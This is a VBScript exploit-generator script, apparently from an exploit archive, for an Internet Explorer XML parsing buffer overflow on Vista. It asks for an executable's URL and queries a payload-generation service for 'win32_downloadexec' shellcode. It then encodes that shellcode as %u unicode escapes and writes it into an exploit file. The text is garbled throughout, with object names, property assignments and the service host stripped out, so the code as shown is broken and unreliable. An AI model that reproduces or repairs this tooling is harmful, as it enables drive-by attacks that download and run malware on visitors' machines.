Netmaster Generator MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day

'code by lcx

On Error Resume Next
Exeurl = InputBox( "Please enter the address of the exe:", "Input", "/" )
url=":55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL="&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"


Body = getHTTPPage(url)
Set Re = New RegExp
= "(\$shellcode \=[\s\S]+</div></pre>)"

Set Matches = (Body)
If >0 Then Body = Matches(0).value

code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode =",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))

function replaceregex(str)
set regex=new regExp
="\\x(..)\\x(..)"
=true
=true
matches=(str,"%u$2$1")
replaceregex=matches
end Function


Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage = BytesToBstr(t, "GB2312")
End Function

Function GetBody(url)
On Error Resume Next
Set Retrieval = CreateObject("")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function

Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream = CreateObject("")
= 1
= 3

Body
= 0
= 2
= Cset
BytesToBstr =

Set objstream = Nothing
End Function

Function URLEncoding(vstrIn)
strReturn = ""
For aaaa = 1 To Len(vstrIn)
ThisChr = Mid(vStrIn,aaaa,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00)\ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding = strReturn
End Function

set fso=CreateObject("")
set fileS=("",2,true)
replaceregex(code)
' body
replaceregex(code)

set fso=Nothing

Chr(13)&"ok, generate, please replace the shellcode1 content in /sploits/ with the content in "